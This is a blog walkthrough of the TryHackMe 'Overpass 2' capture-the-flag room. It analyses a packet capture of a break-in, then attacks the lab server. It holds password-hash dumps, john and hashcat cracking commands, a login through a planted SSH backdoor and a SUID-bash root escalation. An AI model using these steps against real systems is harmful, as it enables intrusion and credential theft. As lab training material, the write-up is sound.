DEV Community

Mateusz Jasiński
Mateusz Jasiński

Posted on • Edited on

Overpass 2 - Hacked - TryHackMe writeup

#tutorial #tryhackme #hacking #ctf

Overpass 2 - tryhackme Writeup

This challange is from TryHackMe

Writeup

That's not really typical, instead of just hacking we have reaction to incident

P.S These are my favourite type of CTF's, let's go

1. PCAP analysis

Open PCAP file in wireshark and follow TCP stream

There, in the first package we see HTTP headers

GET [Directory] HTTP/1.1
Host: 192.168.170.159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Enter fullscreen mode Exit fullscreen mode

GET request sent to some directory - so I guess this is a URL for reverse shell

Let's check next stream (nr. 1), so next part - payload

POST /development/upload.php HTTP/1.1
Host: 192.168.170.159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

[...]
Content-Disposition: form-data; name="fileToUpload"; filename="payload.php"
Content-Type: application/x-php

[Payload]

-----------------------------1809049028579987031515260006
Content-Disposition: form-data; name="submit"
[..]
Enter fullscreen mode Exit fullscreen mode

We have part of php code - it looks like a reverse shell - this is it:

We also have attacker's IP address - I don't know if it's useful but still let's note it

Next stream (nr. 2) - There is nothing interesting in it

But stream nr. 3 looks like actual reverse shell

There is also su command runned

www-data@overpass-production:/var/www/html/development/uploads$ su james
su james
Password: [Password]
Enter fullscreen mode Exit fullscreen mode

That's it, attacker switched user to james, his password is answer for another task

Let's continue analyzing this stream - we need to find how did attacker established persistence

I guess it is connected to backdoor, answer looks like some link so let's find some link
I see some cloning - to be more specific ssh-backdoor repo - so we have it

Attacker left backdoor in our machine - so he/she can go back there any time he/she wants
This is our flag for next task

Now we have to go back to our machine - attacker wanted to find users and their passwords, let's check how many of them we can crack with john
Let's copy /etc/shadow file content into shadow file on our machine.

$ touch shadow # put /etc/shadow content from pcap package into it
$ cat shadow
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::
Enter fullscreen mode Exit fullscreen mode

Now, we have to crack it.
It's said to use fasttrack wordlist (not rockyou like often), so let's use it

$ john --wordlist=/usr/share/wordlists/fasttrack.txt shadow
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
[Password1]      (paradox)     
[Password2]        (bee)     
[Password3]         (szymex)     
[Password4]         (muirland)     
4g 0:00:00:01 DONE (2023-05-12 20:47) 2.185g/s 121.3p/s 555.1c/s 555.1C/s admin..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Enter fullscreen mode Exit fullscreen mode

We have passwords cracked - for accounts:

  • paradox
  • bee
  • szymex
  • muirland That's flag for last task of this part

Now, hop to analysis

2. Backdoor analysis

We have open-source backdoor used here
Let's check it - head to github and analyze its code

I think that staring with main.go file will be the best
In it, we have some variable right at the beginning

var hash string = [Hash]
Enter fullscreen mode Exit fullscreen mode

I don't know Golang but this is string variable with hash, it's deafult one, so that's our first flag for this task

Now we need to find deafult salt, we have it in passwordHandler() function

func passwordHandler(_ ssh.Context, password string) bool {
    return verifyPass(hash, [salt], password)
}
Enter fullscreen mode Exit fullscreen mode

As we have read from verifyPass() function, second parameter is named salt and it's not random - so that's second flag of this part

But our attacker used some other hash, let's go back to pcap file and find out what hash

From code analysis we know that -a option is for setting specific hash for backdoor

This command was used for running it

$ ./backdoor -a [Hashed used by attacker]
Enter fullscreen mode Exit fullscreen mode

So it looks like hash we are looking for
From further code analysis, this is salted SHA-512 hash - Really useful information

Now let's put it into password.txt with salt, that we have found before and give it to hashcat to crack it for us
(We have to use rockyou wordlist here)

$  hashcat -m 1710 -a 0 password.txt /usr/share/wordlists/rockyou.txt
[...]
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05
:[password]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1710 (sha512($pass.$salt))
[...]
Enter fullscreen mode Exit fullscreen mode

And we have it, we cracked that password
That's our last flag for this part

Now - attack the server

3. Attack

First we need to find heading - let's check the website

We have it right up on a website - Heading is our first flag

Now let's perform Nmap scan

$ nmap -sC -sV $IP
[...]
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e43abeedffa702d26ad6d0bb7f385ecb (RSA)
|   256 fc6f22c2134f9c624f90c93a7e77d6d4 (ECDSA)
|_  256 15fd400a6559a9b50e571b230a966305 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: LOL Hacked
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
2222/tcp open  ssh     OpenSSH 8.2p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 
|_  2048 a2a6d21879e3b020a24faab6ac2e6bf2 (RSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

We have 2 SSH (port 22 and 2222) and Apache server
We can't log into any of the accounts with cracked passwords on port 22,

but we can log in for backdoor on port 2222

$ ssh -v -oHostKeyAlgorithms=+ssh-rsa -p 2222 james@10.10.99.160
[...]
james@10.10.99.160's password: 
[...]

james@overpass-production:/home/james/ssh-backdoor$
Enter fullscreen mode Exit fullscreen mode

I had too use -oHostKeyAlgorithms=+ssh-rsa to set a proper host key type

Let's get the user flag

$ cd ~
$ cat user.txt
[Flag]
Enter fullscreen mode Exit fullscreen mode

Now the last part - Privilege Escalation

List the directory

$ ls -la
total 1136
drwxr-xr-x 7 james james    4096 Jul 22  2020 .
drwxr-xr-x 7 root  root     4096 Jul 21  2020 ..
lrwxrwxrwx 1 james james       9 Jul 21  2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 james james    3771 Apr  4  2018 .bashrc
drwx------ 2 james james    4096 Jul 21  2020 .cache
drwx------ 3 james james    4096 Jul 21  2020 .gnupg
drwxrwxr-x 3 james james    4096 Jul 22  2020 .local
-rw------- 1 james james      51 Jul 21  2020 .overpass
-rw-r--r-- 1 james james     807 Apr  4  2018 .profile
-rw-r--r-- 1 james james       0 Jul 21  2020 .sudo_as_admin_successful
-rwsr-sr-x 1 root  root  1113504 Jul 22  2020 .suid_bash
drwxrwxr-x 3 james james    4096 Jul 22  2020 ssh-backdoor
-rw-rw-r-- 1 james james      38 Jul 22  2020 user.txt
drwxrwxr-x 7 james james    4096 Jul 21  2020 www
Enter fullscreen mode Exit fullscreen mode

There is a suspicious binary .suid_bash - And we can run it

Let's do it

$ ./.suid_bash -p
# cd /root
# cat root.txt
[Root flag]
Enter fullscreen mode Exit fullscreen mode

And we have it - we acquired our last flag

Conclusion

I liked this room, as I said before I love PCAP analysing

This was interesting room and as far as I remember it took me like 2 hours heh

Top comments (1)

Collapse
 
baboon12 profile image
Bhavya Sura •

Nicely done
Keep up the good work buddy

Read next

ravikishan profile image

Introducing NexaPHP: A Lightweight MVC PHP Framework

Ravi Kishan -

_russell profile image

Systemd vs. Docker: Exploring a Surprising Alternative

Russell 👨🏾‍💻 -

julia970 profile image

How to Design a Tangram Puzzle Using 3D CAD Software

Juliana Misiko -

sarthak_niranjan_3bd6cb5f profile image

CSS Cleanup Tools: Top Picks for Cleaner, Faster Code

Sarthak Niranjan -